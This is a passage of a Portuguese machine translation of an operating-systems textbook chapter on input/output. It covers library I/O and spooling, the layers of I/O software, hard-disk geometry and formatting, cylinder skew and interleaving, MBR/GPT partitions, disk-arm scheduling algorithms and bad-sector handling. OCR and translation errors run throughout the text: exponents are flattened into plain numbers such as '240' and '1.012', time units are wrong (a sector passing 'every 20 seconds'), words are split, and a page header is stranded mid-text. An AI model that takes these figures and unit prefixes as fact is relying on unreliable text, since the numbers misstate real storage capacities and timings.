Embora a maior parte do software de E/S esteja dentro do sistema operacional, uma pequena parte dele consiste 
em bibliotecas vinculadas a programas de usuário e até mesmo programas inteiros executados fora do kernel. As 
chamadas do sistema, incluindo as chamadas do sistema de E/S, são normalmente feitas por procedimentos de 


biblioteca. Quando um programa C contém a chamada 


contagem = gravação(fd, buffer, nbytes); 


a gravação do procedimento da biblioteca pode estar vinculada ao programa e contida no programa binário presente 
na memória em tempo de execução. Em outros sistemas, as bibliotecas podem ser carregadas durante a execução do 
programa. De qualquer forma, a coleção de todos esses procedimentos de biblioteca faz claramente parte do sistema 
de E/S. 

Embora a maioria desses procedimentos faça pouco mais do que colocar seus parâmetros no local apropriado 
para a chamada do sistema, outros procedimentos de E/S realmente fazem um trabalho real. 
Em particular, a formatação de entrada e saída é feita por procedimentos de biblioteca. Um exemplo de C é printf, que 
recebe uma string de formato e possivelmente algumas variáveis como entrada, constrói uma string ASCII e então 


chama wr ite para gerar a string. Como exemplo de printf, considere a afirmação 


pr intf("O quadrado de %3d é %6dì\n", i, i*i); 


Ele formata uma string que consiste na string de 14 caracteres "O quadrado de " seguida pelo valor i como uma string 


de 3 caracteres, depois a string de 4 caracteres " é ", então i como 6 caracteres e, finalmente uma alimentação 3e linha. 
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Um exemplo de procedimento semelhante para entrada é scanf, que lê entrada e 
armazena-o em variáveis descritas em uma string de formato usando a mesma sintaxe de printf. 
A biblioteca de E/S padrão contém vários procedimentos que envolvem E/S e todos 
executado como parte de programas de usuário. 

Nem todo software de E/S de nível de usuário consiste em procedimentos de biblioteca. Outra categoria 
importante é o sistema de spool. Spooling é uma maneira de lidar com dados dedicados 
Dispositivos de E/S em um sistema de multiprogramação. Considere um dispositivo em spool típico: um 
impressora. Embora fosse tecnicamente fácil permitir que qualquer processo de usuário abrisse o 
arquivo especial de caracteres para a impressora, suponha que um processo o abrisse e depois não fizesse 
nada por horas. Nenhum outro processo poderia imprimir nada. 

Em vez disso, o que é feito é criar um processo especial, chamado daemon, e um diretório especial, 
chamado diretório de spool. Para imprimir um arquivo, primeiro um processo gera 
todo o arquivo a ser impresso e o coloca no diretório de spool. Cabe ao dae mon, que é o único processo que 
tem permissão para usar o arquivo especial da impressora, 
para imprimir os arquivos no diretório. Ao proteger o arquivo especial contra uso direto por 


usuários, o problema de ter alguém mantendo-o aberto desnecessariamente por tempo é eliminado. 


A Figura 5-17 resume o sistema de E/S, mostrando todas as camadas e as principais funções de cada 
camada. Começando de baixo, as camadas são o hardware, 
manipuladores de interrupção, drivers de dispositivo, software independente de dispositivo e, finalmente, o usuário 


processos. 
E/S 
Camada tesponi Funções de E/S 
E/S Processos do usuário Faça chamada de E/S; formato de E/S; enrolando 
solicitar 


Independente de dispositivo 
Programas 


Nomenclatura, proteção, bloqueio, buffer, alocação 


Drivers de dispositivo Configurar registros de dispositivos; verificar status 


Manipuladores de interrupção Acorde o driver quando a E/S for concluída 


Hardware Execute a operação de E/S 


Figura 5-17. Camadas do sistema de E/S e as principais funções de cada camada. 


As setas na Figura 5-17 mostram o fluxo de controle. Quando um programa de usuário tenta 
ler um bloco de um arquivo, por exemplo, o sistema operacional é invocado para realizar 
a chamada. O software independente de dispositivo procura por isso, digamos, no cache do buffer. Se 
o bloco necessário não estiver lá, ele chama o driver do dispositivo para emitir a solicitação ao 
hardware para obtê-lo do SSD ou disco. O processo é então bloqueado até que este 
a operação foi concluída e os dados estão disponíveis com segurança no buffer do chamador. A operação pode 
levar milissegundos, o que é muito tempo para a CPU ficar ociosa. 
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Quando o SSD ou disco termina, o hardware gera uma interrupção. O manipulador de 
interrupções é executado para descobrir o que aconteceu, ou seja, qual dispositivo deseja atenção 
naquele momento. Em seguida, ele extrai o status do dispositivo e ativa o processo adormecido 
para finalizar a solicitação de E/S e permitir que o processo do usuário continue. 


5.4 ARMAZENAMENTO EM MASSA: DISCO E SSD 


Agora começaremos a estudar alguns dispositivos de E/S reais. Começaremos com dispositivos 
de armazenamento. Nas seções posteriores, examinaremos relógios, teclados e monitores. Os 
dispositivos de armazenamento modernos vêm em vários tipos. Os mais comuns são discos rígidos 
magnéticos e SSDs. Para distribuição de programas, dados e filmes, os velhos ainda podem usar 
discos ópticos (DVDs e Blu-ray), mas estes estão rapidamente saindo de moda e não serão 
discutidos neste livro (inegavelmente na moda). Em vez disso, discutiremos brevemente discos 
magnéticos e SSDs. Começaremos com o primeiro, pois é um bom estudo de caso. 


5.4.1 Discos Magnéticos 


Os discos magnéticos caracterizam-se pelo facto de as leituras e escritas serem igualmente 
rápidas, o que os torna adequados como memória secundária (paginação, sistemas de ficheiros, etc.). 
Matrizes desses discos às vezes são usadas para fornecer armazenamento altamente confiável. 

Eles são organizados em cilindros, cada um contendo tantas trilhas quanto cabeçotes empilhados 


verticalmente. As pistas são divididas em setores, normalmente com várias centenas de setores ao 
redor da circunferência. O número de cabeças varia de 1 a cerca de 16. 


Os discos mais antigos tinham poucos componentes eletrônicos e apenas forneciam um simples fluxo de bits serial. 
Nestes discos, o controlador fez a maior parte do trabalho. Em outros discos, em particular discos 
SATA (Serial ATA), a própria unidade contém um microcontrolador que faz um trabalho 
considerável e permite que o controlador de disco real emita um conjunto de comandos de nível 
superior. O controlador rastreia o cache, o remapeamento de blocos defeituosos e muito mais. 

Um recurso do dispositivo que tem implicações importantes para o driver de disco é a 
possibilidade de um controlador realizar buscas em duas ou mais unidades ao mesmo tempo. Estas 
são conhecidas como buscas sobrepostas. Enquanto o controlador e o software aguardam a 
conclusão de uma busca em uma unidade, o controlador pode iniciar uma busca em outra unidade. 
Muitos controladores também podem ler ou gravar em uma unidade enquanto procuram em uma 
ou mais unidades. Além disso, um sistema com vários discos rígidos com controladores integrados 
pode operá-los simultaneamente, pelo menos até ao ponto de transferência entre o disco e a 
memória tampão do controlador. Contudo, apenas uma transferência entre o controlador e a 
memória principal é possível de cada vez. A capacidade de realizar duas ou mais operações ao 
mesmo tempo pode reduzir consideravelmente o tempo médio de acesso. 

Se compararmos o meio de armazenamento padrão do IBM PC original (um disquete) com um 
disco rígido moderno, como o Seagate IronWolf Pro, vemos que muitos 
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as coisas mudaram. Primeiro, a capacidade do disquete antigo era de 360 KB, ou 
cerca de um terço da capacidade necessária para armazenar o PDF apenas deste capítulo. Em 
contraste, o IronWolf embala até 18 TB — um aumento de mais ou menos 8 pedidos de 
magnitude. Os autores prometem solenemente nunca tornar o capítulo tão grande. O 
A taxa de transferência também aumentou de cerca de 23 KB/s para 250 MB/s, um salto de 4 
ordens de grandeza. A latência, no entanto, melhorou de forma mais marginal, de 
cerca de 100 ms a 4 ms. Melhor, mas você pode achar um pouco desanimador. 
Uma coisa a ter em conta ao observar as especificações dos discos rígidos modernos 
é que a geometria especificada e usada pelo software do driver é quase sempre 
diferente do formato físico. Em discos antigos, o número de setores por trilha 
foi o mesmo para todos os cilindros. Por exemplo, o disquete do IBM PC tinha 9 setores 
de 512 bytes em cada trilha. Os discos modernos, por outro lado, são divididos em 
zonas com mais setores nas zonas externas do que nas internas. A Figura 5-18(a) ilustra um 
pequeno disco com duas zonas. A zona externa possui 32 setores por pista; o 
o interno tem 16 setores por trilha. Um disco real possui facilmente dezenas de zonas, com a 


número de setores aumentando por zona à medida que se sai do mais interno para o 
zona mais externa. 


Figura 5-18. (a) Geometria física de um disco com duas zonas. (b) Uma possível 
geometria virtual para este disco. 


Para ocultar os detalhes de quantos setores cada trilha possui, a maioria dos discos modernos 
possuem uma geometria virtual que é apresentada ao sistema operacional. O software é 
instruído a agir como se houvesse x cilindros, y cabeçotes e z setores por trilha. 
O controlador então remapeia uma solicitação para (x, y, z) no cilindro real, cabeçote e 
setor. Uma possível geometria virtual para o disco físico da Figura 5.18(a) é mostrada 
na Figura 5.18(b). Em ambos os casos, o disco possui 192 setores, apenas o arranjo publicado é 
diferente do real. Simplificando ainda mais o endereçamento, moderno 
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discos agora suportam um sistema chamado endereçamento de bloco lógico, no qual setores de disco 


são numerados consecutivamente começando em 0, independentemente da geometria do disco. 
Formatação de disco 


Um disco rígido consiste em uma pilha de pratos de alumínio, liga ou vidro, normalmente 
3,5 polegadas de diâmetro (ou 2,5 polegadas em notebooks). Em cada prato está 
depositou um fino óxido metálico magnetizável. Após a fabricação, não há qualquer informação no disco. 


Antes que o disco possa ser usado, cada prato deve receber uma formatação de baixo nível feita 
por software. O formato consiste em uma série de faixas concêntricas, cada uma contendo 


alguns sectores, com pequenas lacunas entre os sectores. O formato de um setor é mostrado na Figura 5.19. 


Figura 5-19. Um setor de disco. 


O preâmbulo começa com um certo padrão de bits que permite ao hardware reconhecer o início do setor. 
Ele também contém os números dos cilindros e dos setores e 
alguma outra informação. O tamanho da porção de dados é determinado pelo programa de formatação de baixo 
nível. A maioria dos discos usa setores de 512 bytes. O campo ECC contém informações redundantes que 
podem ser usadas para recuperação de erros de leitura. O tamanho 
e o conteúdo deste campo varia de fabricante para fabricante, dependendo 
quanto espaço em disco o projetista está disposto a abrir mão para obter maior confiabilidade e 
quão complexo é o código ECC que o controlador pode manipular. Um campo ECC de 16 bytes não é 
incomum. Além disso, todos os discos rígidos possuem um certo número de setores sobressalentes alocados 
a ser utilizado para substituir setores com defeito de fabricação. 

A posição do setor O em cada trilha é deslocada da trilha anterior quando 
o formato de baixo nível é estabelecido. Este deslocamento, chamado inclinação do cilindro, é feito para 
melhorar o desempenho. A ideia é permitir que o disco leia múltiplas trilhas em uma 
operação contínua sem perda de dados. A natureza do problema pode ser vista 
observando a Figura 5.18(a). Suponha que uma solicitação precise de 18 setores começando no setor 0 na trilha 
mais interna. A leitura dos primeiros 16 setores exige uma rotação do disco, 
mas é necessária uma busca para avançar uma trilha para obter o 17º setor. Quando chegar a hora 
a cabeça moveu-se uma trilha, o setor O girou além da cabeça, portanto é necessária uma rotação inteira até que 
ela passe novamente. Esse problema é eliminado compensando o 
setores conforme mostrado na Fig. 5-20. 

A quantidade de inclinação do cilindro depende da geometria do acionamento. Por exemplo, um 
A unidade de 10.000 RPM (revoluções por minuto) gira em 6 ms. Se uma faixa contiver 
300 setores, um novo setor passa sob a cabeça a cada 20 segundos. Se a trilha a trilha 
o tempo de busca é ge $00 segundos, 40 setores passarão durante a busca, então a inclinação do cilindro 
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Sentido de rotação 
do disco 


Figura 5-20. Uma ilustração da inclinação do cilindro. 


deve ter pelo menos 40 setores, em vez dos três setores mostrados na Figura 5-20. Isso é 
vale ressaltar que alternar entre cabeças também leva um tempo finito, então há 
inclinação da cabeça , bem como inclinação do cilindro, mas a inclinação da cabeça não é muito grande, geralmente muito 
menos de um setor. 
Como resultado da formatação de baixo nível, a capacidade do disco é reduzida, dependendo 
os tamanhos do preâmbulo, lacuna intersetorial e ECC, bem como o número de sobressalentes 
setores reservados. Muitas vezes a capacidade formatada é 20% menor que a não formatada 
capacidade. Os setores sobressalentes não contam para a capacidade formatada, portanto todos os discos 
de um determinado tipo têm exatamente a mesma capacidade quando expedidos, independentemente de como 
muitos setores defeituosos que eles realmente possuem (se o número de setores defeituosos exceder o 
número de peças sobressalentes, a unidade será rejeitada e não enviada). 
Há uma confusão considerável sobre a capacidade do disco porque alguns fabricantes anunciaram a 
capacidade não formatada para fazer com que suas unidades parecessem maiores do que realmente são. 
na realidade são. Por exemplo, consideremos uma unidade cuja capacidade não formatada é 
20 x 1012 bytes. Isso pode ser vendido como um disco de 20 TB. No entanto, após a formatação, 
possivelmente apenas 17 x 1012 bytes estão disponíveis para dados. Para aumentar a confusão, o 
sistema operacional pode relatar essa capacidade como 15 TB, não 17 TB, porque o software 
considera uma memória de 1 TB como 240 (1.099.511.627.776) bytes, não 1.012 
(1.000.000.000.000) bytes. Seria melhor se isso fosse relatado como 15 TIB. 
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Para piorar ainda mais as coisas, no mundo das comunicações de dados, 1 Tbps 
significa 1.000.000.000.000 bits/s porque o prefixo Tera realmente significa 1.012 (afinal, 
um quilômetro equivale a 1.000 metros, e não a 1.024 metros). Somente com tamanhos de 
memória e disco quilo, mega, giga, tera, peta, exa e zetta significam 210, 220, 230, 240, 
250, 260 e 270, respectivamente. 

Para evitar confusão, alguns autores usam os prefixos quilo, mega, giga, tera, peta, 109, 
exa e zeita para significar 103 , 106, 1012, 1015, 1018 e 1021 respectivamente, enquanto 
usando kibi, mebi, gibi, tebi, pebi, exbi e zebi para significar 210, 220, 230, etc. No entanto, o 
uso dos prefixos “b” é relativamente raro. Caso você goste de números realmente grandes, um 
yottabyte equivale a 1.024 e um yobibyte equivale a 280 bytes. 

A formatação também afeta o desempenho. Se uma trilha em um disco de 10.000 RPM 
tiver 300 setores de 512 bytes cada, serão necessários 6 ms para ler os 153.600 bytes da 
trilha para uma taxa de dados de 25.600.000 bytes/s ou 24,4 MB/s. Não é possível ir mais 
rápido do que isso, não importa que tipo de interface esteja presente, mesmo que seja uma 
interface SAT A de 6 GB/s. 

Na verdade, a leitura contínua nessa taxa requer um grande buffer no controlador. 
Considere, por exemplo, um controlador com buffer de um setor ao qual foi dado um comando 
para ler dois setores consecutivos. Após ler o primeiro setor do disco e fazer o cálculo do ECC, 
os dados devem ser transferidos para a memória principal. Enquanto essa transferência ocorre, 
o próximo setor passará voando pela cabeça. 

Quando a cópia para a memória for concluída, o controlador terá que esperar quase um tempo 
de rotação inteiro para que o segundo setor volte a funcionar. 

Este problema pode ser eliminado numerando os setores de forma intercalada ao formatar 
o disco. Na Figura 5.21 (a), vemos o padrão de numeração usual (ignorando aqui a inclinação 
do cilindro). Na Figura 5.21 (b), vemos intercalação única, que dá ao controlador algum 
espaço para respirar entre setores consecutivos para copiar o buffer para a memória principal. 


Figura 5-21. (a) Sem intercalação. (b) Intercalação simples. (c) Dupla intercalação. 


Se o processo de cópia for muito lento, a dupla intercalação da Figura 5.22(c) pode ser 
necessária. Se o controlador possui um buffer de apenas um setor, não importa se a cópia do 
buffer para a memória principal é feita pelo controlador, pela CPU principal ou mesmo por um 
chip DMA; ainda leva algum tempo. Para evitar a necessidade de 
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intercalação, o controlador deve ser capaz de armazenar em buffer uma trilha inteira. Com centenas de MB de 
memória, a maioria dos controladores modernos pode armazenar muitas trilhas inteiras em buffer. 

Após a conclusão da formatação de baixo nível, o disco é particionado. Logicamente, cada partição é 
como um disco separado. As partições são necessárias para permitir a coexistência de vários sistemas 
operacionais. Além disso, em alguns casos, uma partição pode ser usada para troca. Em outros computadores 
mais antigos, o setor O contém o MBR (Master Boot Record), que contém algum código de inicialização mais 
a tabela de partição no final. O MBR e, portanto, o suporte para tabelas de partição, apareceram pela primeira 
vez nos IBM PCs em 1983 para suportar o então enorme disco rígido de 10 MB no PC XT. Os discos 
cresceram um pouco desde então. Como as entradas de partição MBR na maioria dos sistemas são limitadas 
a 32 bits, o tamanho máximo do disco que pode ser suportado com setores de 512 Bé de 2 TB. Por esse 
motivo, a maioria das operações desde agora também suporta o novo GPT (GUID Partition Table), que 
suporta tamanhos de disco de até 9,4 ZB (9.444.732.965.739.290.426.880 bytes ou cerca de 8 ZiB). Na época 
em que este livro foi publicado, isso era considerado uma grande quantidade de bytes. 


A tabela de partições fornece o setor inicial e o tamanho de cada partição. Você pode ver mais sobre o 
GPT na UEFI na Seção. 4.3. Se houver quatro partições e todas forem para Windows, elas serão cnamadas 
C:, D:, E: e F: e tratadas como unidades separadas. Se três delas forem para Windows e uma for para UNIX, 
o Windows chamará suas partições de C:, D: e E:. Se uma unidade USB for adicionada, será F:. Para poder 


inicializar a partir do disco rígido, uma partição deve estar marcada como ativa na tabela de partições. 


A etapa final na preparação de um disco para uso é realizar uma formatação de alto nível de cada 
partição (separadamente). Esta operação estabelece um bloco de inicialização, a administração de 
armazenamento livre (lista livre ou bitmap), diretório raiz e um sistema de arquivos vazio. Ele também coloca 
um código na entrada da tabela de partição informando qual sistema de arquivos é usado na partição porque 
muitos sistemas operacionais suportam vários sistemas de arquivos incompatíveis (por razões históricas). 
Neste ponto o sistema pode ser inicializado. 

Já vimos no Cap. 1 que quando a energia é ligada, o BIOS é executado inicialmente e lê o GPT. Em 
seguida, ele encontra o bootloader apropriado e executa i para inicializar o sistema operacional. 


Algoritmos de agendamento de braço de disco 


Nesta seção, veremos alguns problemas relacionados aos drivers de disco em geral. 
Primeiro, considere quanto tempo leva para ler ou gravar um bloco de disco. O tempo necessário é determinado 
por três fatores: 1. Tempo de busca 


(o tempo para mover o braço para o cilindro adequado). 


2. Atraso rotacional (quanto tempo leva para o setor adequado aparecer sob o cabeçote de leitura). 


3. Tempo real de transferência de dados. 


Para a maioria dos discos, o tempo de busca domina os outros dois tempos, portanto, reduzir o tempo médio 
de busca pode melhorar substancialmente o desempenho do sistema. 
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Se o driver de disco aceitar solicitações uma de cada vez e as executar naquele 
ordem, ou seja, FCFS (First Come, First-Served), pouco pode ser feito para otimizar 
busque tempo. No entanto, outra estratégia é possível quando o disco está muito carregado. Isto 
é provável que enquanto o braço está buscando em nome de uma solicitação, outras solicitações de disco 
podem ser gerados por outros processos. Muitos drivers de disco mantêm uma tabela indexada 
por número de cilindro, com todas as solicitações pendentes para cada cilindro encadeadas em uma lista 
encadeada encabeçada pelas entradas da tabela. 

Dado esse tipo de estrutura de dados, podemos melhorar o algoritmo de agendamento por ordem de 
chegada. Para ver como, considere um disco imaginário com 40 cilindros. Chega uma solicitação para ler um 
bloco no cilindro 11. Enquanto a busca pelo cilindro 11 está em andamento, chegam novas solicitações para 
os cilindros 1, 36, 16, 34,9 e 12, em 
essa ordem. Eles são inseridos na tabela de solicitações pendentes, com uma lista de links separada para cada 
cilindro. As solicitações são mostradas na Figura 5.22. 


Inicial Pendente 
posição solicitações de 


0 5 10 15 20 25 30 35 Cilindro 


Sequência de buscas 


Figura 5-22. Algoritmo de agendamento de disco Shortest Seek First (SSF). 


Quando a solicitação atual (para o cilindro 11) for concluída, o driver de disco terá um 
escolha de qual solicitação será tratada em seguida. Usando FCFS, ele iria próximo ao cilindro 
1, depois para 36 e assim por diante. Este algoritmo exigiria movimentos do braço de 10, 35, 20, 
18,25 e 3, respectivamente, para um total de 111 cilindros. 
Alternativamente, ele poderia sempre tratar a próxima solicitação mais próxima, para minimizar a busca 
tempo. Dadas as solicitações da Figura 5-22, a sequência é 12,9, 16, 1, 34 e 36, 
mostrado como a linha irregular na parte inferior da Figura 5-22. Com esta sequência, o braço 
os movimentos são 1, 3, 7, 15, 33 e 2, para um total de 61 cilindros. Este algoritmo, chamado 
SSF (Shortest Seek First), reduz o movimento total do braço quase pela metade em comparação com FCFS. 
Infelizmente, o SSF tem um problema. Suponha que mais solicitações continuem chegando 
enquanto as solicitações da Figura 5.22 estão sendo processadas. Por exemplo, se, depois de ir para 
cilindro 16, uma nova solicitação para o cilindro 8 estiver presente, essa solicitação terá prioridade 
sobre o cilindro 1. Se uma solicitação para o cilindro 13 chegar, o braço irá em seguida para 
13, em vez de 1. Com um disco muito carregado, o braço tenderá a permanecer no meio 
do disco na maior parte do tempo, portanto as solicitações em ambos os extremos terão que esperar até que um 
a flutuação estatística na carga faz com que não haja solicitações próximas ao meio. 


Solicitações distantes do meio podem ter um atendimento ruim. Os objetivos da resposta mínima 
tempo e justiça estão em conflito aqui. 
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Os edifícios altos também têm de lidar com esta compensação. O problema do agendamento 
um elevador em um prédio alto é semelhante ao agendamento de um braço de disco. solicitações de 
entra continuamente chamando o elevador para os andares (cilindros) aleatoriamente. O computador que 
comandava o elevador poderia facilmente acompanhar a sequência em que os clientes apertavam o 
botão de chamada e atendê-los usando FCFS ou SSF. 

No entanto, a maioria dos elevadores usa um algoritmo diferente para conciliar o 
objetivos mutuamente conflitantes de eficiência e justiça. Eles continuam se movendo no 
mesma direção até que não haja mais solicitações pendentes nessa direção, então 
eles mudam de direção. Esse algoritmo, conhecido tanto no mundo do disco quanto no mundo do 
elevador como algoritmo do elevador, exige que o software mantenha 1 bit: o 
bit de direção atual, UP ou DOWN. Quando uma solicitação termina, o disco ou elevador 
driver verifica o bit. Se estiver UP, o braço ou cabine é movido para o próximo nível mais alto 
pedido pendente. Se nenhuma solicitação estiver pendente nas posições mais altas, o bit de direção é 
invertido. Quando o bit está definido como DOWN, o movimento é para o próximo bit mais baixo solicitado 
posição, se houver. Se nenhuma solicitação estiver pendente, ele simplesmente para e aguarda. Em 
grandes torres de escritórios, quando não há solicitações pendentes, o software poderá enviar a cabine para o 
térreo, já que é mais provável que seja necessário lá em breve do que, digamos, no dia 19 
chão. O software de disco geralmente não tenta pré-posicionar especulativamente a cabeça em qualquer 
lugar. 

A Figura 5-23 mostra o algoritmo do elevador usando as mesmas sete solicitações que 
Figura 5-22, assumindo que o bit de direção estava inicialmente PARA CIMA. A ordem na qual os 
cilindros são reparados é 12, 16, 34, 36, 9 e 1, o que produz movimentos do braço de 1, 4, 18, 
2,27 e 8, totalizando 60 cilindros. Neste caso, o algoritmo do elevador é ligeiramente melhor que o SSF, 
embora geralmente seja pior. Uma bela propriedade o elevador 
algoritmo tem é que, dada qualquer coleção de solicitações, o limite superior do total 
o movimento é fixo: é apenas o dobro do número de cilindros. 


Inicial 
posição 


Sequência de buscas 


Figura 5-23. O algoritmo elevador para agendar solicitações de disco. 


Uma ligeira modificação deste algoritmo que tem uma variação menor na resposta 
vezes (Teory, 1972) é sempre varrer na mesma direção. Quando o cilindro de maior número com 
solicitação pendente tiver sido atendido, o braço vai para o 


Machine Translated by Google 


378 ENTRADA/SAÍDA INDIVÍDUO. 5 


cilindro de número mais baixo com uma solicitação pendente e depois continua se movendo na 
direção ascendente. Com efeito, considera-se que o cilindro de numeração mais baixa está logo 
acima do cilindro de numeração mais alta. 

Alguns controladores de disco fornecem uma maneira para o software inspecionar o número 
do setor atual sob o cabeçalho. Com tal controlador, outra otimização é possível. Caso haja duas 
ou mais solicitações pendentes para o mesmo cilindro, o motorista poderá emitir uma solicitação 
para o setor que passará por baixo do cabeçote em seguida. Observe que quando diversas trilhas 
estão presentes em um cilindro, solicitações consecutivas podem ser para trilhas diferentes sem 
penalidade. O controlador pode selecionar qualquer um de seus cabeçotes quase instantaneamente 
(a seleção do cabeçote não envolve movimento do braço nem atraso rotacional). 

Se o disco tiver a propriedade de que o tempo de busca é muito mais rápido que o atraso 
rotacional, então uma otimização diferente deverá ser usada. As solicitações pendentes devem ser 
classificadas por número de setor e, assim que o próximo setor estiver prestes a passar por baixo 
da cabeça, o braço deve ser colocado no caminho certo para lê-lo ou escrevê-lo. 

Com um disco rígido moderno, os atrasos de busca e rotação dominam tanto o desempenho 
que a leitura de um ou dois setores por vez é muito ineficiente. Por esse motivo, muitos controladores 
de disco sempre leem e armazenam em cache vários setores, mesmo quando apenas um é 
solicitado. Normalmente, qualquer solicitação para ler um setor fará com que esse setor e grande 
parte ou todo o restante da trilha atual sejam lidos, dependendo de quanto espaço está disponível 
na memória cache do controlador. O disco rígido Seagate IronWolf descrito anteriormente possui 
um cache de 256 MB, por exemplo. O uso do cache é determinado dinamicamente pelo controlador. 
No caso mais simples, o cache é dividido em duas seções, uma para leitura e outra para gravação. 
Se uma leitura subsequente puder ser retirada do cache do controlador, ele poderá retornar os 
dados solicitados imediatamente. 

Vale ressaltar que o cache do controlador de disco é totalmente independente do cache do 
sistema operacional. O cache do controlador geralmente contém blocos que não foram realmente 
solicitados, mas que eram convenientes de ler porque passaram por baixo do cabeçalho como efeito 
colateral de alguma outra leitura. Em contraste, qualquer cache mantido pelo sistema operacional 
consistirá em blocos que foram lidos explicitamente e que o sistema operacional acredita que 
poderão ser necessários novamente em um futuro próximo (por exemplo, um bloco de disco 
contendo um bloco de diretório). 

Quando diversas unidades estão presentes no mesmo controlador, o sistema operacional deve 
manter uma tabela de solicitações pendentes para cada unidade separadamente. Sempre que 
qualquer drive estiver ocioso, uma busca deverá ser emitida para mover seu braço para o cilindro 
onde será necessário em seguida (assumindo que o controlador permite buscas sobrepostas). 
Quando a transferência de corrente terminar, uma verificação poderá ser feita para ver se alguma 
unidade está posicionada no cilindro correto. Se um ou mais estiverem, a próxima transferência 
poderá ser iniciada em um acionamento que já esteja no cilindro direito. Se nenhum dos braços 
estiver no lugar certo, o driver deve emitir uma nova busca no drive que acabou de completar a 
transferência e esperar até a próxima interrupção para ver qual braço chega primeiro ao seu destino. 

É importante perceber que todos os algoritmos de escalonamento de disco acima assumem 
tacitamente que a geometria real do disco é igual à geometria virtual. Caso contrário, agendar 
solicitações de disco não faz sentido porque o sistema operacional não pode 
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realmente dizer se o cilindro 40 ou o cilindro 200 está mais próximo do cilindro 39. No 

por outro lado, se o controlador de disco puder aceitar várias solicitações pendentes, ele poderá 
use esses algoritmos de agendamento internamente. Nesse caso, os algoritmos ainda são 
válido, mas um nível abaixo, dentro do controlador. 


Manipulação de erros 


Os fabricantes de discos estão constantemente ultrapassando os limites da tecnologia, 
aumentando as densidades lineares de bits. O disco rígido IronWolf de nossos exemplos é embalado como 
muitos 2.470 Kbits por polegada em média. Gravando tantos bits por polegada 
requer um substrato extremamente uniforme e um revestimento de óxido muito fino. Infelizmente, não é 
possível fabricar um disco com tais especificações sem defeitos. 
Assim que a tecnologia de fabricação tiver melhorado a ponto de ser possível operar perfeitamente em tais 
densidades, os projetistas de discos irão para densidades mais altas para aumentar a capacidade. Fazer isso 
provavelmente reintroduzirá defeitos. 

Os defeitos de fabricação introduzem setores defeituosos, ou seja, setores que não leem corretamente 
o valor que acabou de ser gravado neles. Se o defeito for muito pequeno, digamos, apenas 
alguns bits, é possível usar o setor defeituoso e deixar o ECC corrigir os erros 
toda vez. Se o defeito for maior, o erro não pode ser mascarado. 

Existem duas abordagens gerais para blocos defeituosos: lidar com eles no controlador ou lidar com 
eles no sistema operacional. Na abordagem anterior, antes 
o disco é enviado da fábrica, é testado e uma lista de setores defeituosos é gravada 
no disco. Para cada setor defeituoso, um dos sobressalentes é substituído. 

Existem duas maneiras de fazer essa substituição. Na Figura 5.24(a), vemos um único 
trilha de disco com 30 setores de dados e dois sobressalentes. O setor 7 está com defeito. O que o controlador 
pode fazer é remapear uma das peças sobressalentes como setor 7, conforme mostrado na Figura 5.24(b). O 
outra maneira é deslocar todos os setores uma unidade para cima, como mostrado na Figura 5.24(c). Em ambos os casos 
o controlador precisa saber qual setor é qual. Ele pode acompanhar essas informações através de tabelas 
internas (uma por faixa) ou reescrevendo os preâmbulos para fornecer 
os números do setor remapeados. Se os preâmbulos forem reescritos, o método de 
A Figura 5-24(c) dá mais trabalho (porque 23 preâmbulos devem ser reescritos), mas em última análise 
oferece melhor desempenho porque uma trilha inteira ainda pode ser lida em uma rotação. 

Erros também podem ocorrer durante a operação normal após o inversor ter sido 
instalado. A primeira linha de defesa ao obter um erro que o ECC não consegue resolver 
é apenas tentar a leitura novamente. Alguns erros de leitura são transitórios, ou seja, são causados por 
partículas de poeira sob a cabeça e desaparecerão na segunda tentativa. Se o controlador perceber que está 
recebendo erros repetidos em um determinado setor, ele pode mudar para um 
sobra antes que o setor morra completamente. Desta forma, nenhum dado é perdido e o 
sistema operacional e o usuário nem percebem o problema. Normalmente, o método de 
A Figura 5.24(b) deve ser usada, pois os outros setores podem agora conter dados. Usando 
o método da Figura 5.24(c) exigiria não apenas reescrever os preâmbulos, mas 
copiando todos os dados também. 
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Setores 
sobressalentes 


Setor 
d229102111201219 


Figura 5-24. (a) Uma trilha de disco com um setor defeituoso. (b) Substituir um setor defeituoso 
por um sobressalente. (c) Mudar todos os setores para contornar o ruim. 


Anteriormente dissemos que havia duas abordagens gerais para lidar com erros: tratá-los no 
controlador ou no sistema operacional. Se o controlador não tiver a capacidade de remapear setores 
de forma transparente, como discutimos, o sistema operacional deverá fazer a mesma coisa no 
software. Isso significa que ele deve primeiro adquirir uma lista de setores defeituosos, seja lendo-os 
do disco ou simplesmente testando todo o disco. Depois de saber quais setores estão defeituosos, ele 
poderá criar tabelas de remapeamento. Se o sistema operacional quiser usar a abordagem da Figura 
5.24(c), ele deverá deslocar os dados dos setores 7 a 29 um setor acima. 


Se o sistema operacional estiver lidando com o remapeamento, ele deverá garantir que setores 
defeituosos não ocorram em nenhum arquivo e também não ocorram na lista livre ou no bitmap. 

Uma maneira de fazer isso é criar um arquivo secreto composto por todos os setores defeituosos. Se 
este arquivo não for inserido no sistema de arquivos, os usuários não irão lê-lo acidentalmente (ou pior 
ainda, liberá-lo). 

Porém, ainda há outro problema: backups. Se for feito backup do disco arquivo por arquivo, é 
importante que o utilitário de backup não tente copiar o arquivo de bloco inválido. Para evitar isso, o 
sistema operacional precisa ocultar o arquivo de bloco defeituoso tão bem que nem mesmo um utilitário 
de backup consegue encontrá-lo. Se o backup do disco for feito setor por setor, em vez de arquivo por 
arquivo, será difícil, se não impossível, evitar erros de leitura durante o backup. A única esperança é 
que o programa de backup tenha inteligência suficiente para desistir após 10 leituras malsucedidas e 
continuar com o próximo setor. 

Os setores defeituosos não são a única fonte de erros. Erros de busca causados por problemas 
mecânicos no braço também ocorrem. O controlador monitora internamente a posição do braço. Para 
realizar uma busca, ele emite um comando ao motor do braço para mover o braço para o novo cilindro. 
Quando o braço chega ao seu destino, o controlador lê o número real do cilindro no preâmbulo do 
próximo setor. Se o braço estiver no lugar errado, ocorreu um erro de busca. 


A maioria dos controladores de disco rígido corrige erros de busca automaticamente, mas a 
maioria dos controladores de disquete antigos usados nas décadas de 1980 e 1990 apenas configurava 
um bit de erro e deixava o resto para o driver. O driver tratou esse erro emitindo um comando recalibrar , 
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mover o braço o máximo que pudesse e redefinir a ideia interna do controlador de 
o cilindro atual para 0. Geralmente isso resolveu o problema. Caso contrário, a unidade 
teve que ser reparado. 

Como acabamos de ver, o controlador é na verdade um pequeno computador especializado, completo 
com software, variáveis, buffers e, ocasionalmente, bugs. Às vezes um 
sequência incomum de eventos, como uma interrupção em uma unidade ocorrendo simultaneamente com 
um comando de recalibração para outra unidade, acionará um bug e causará 
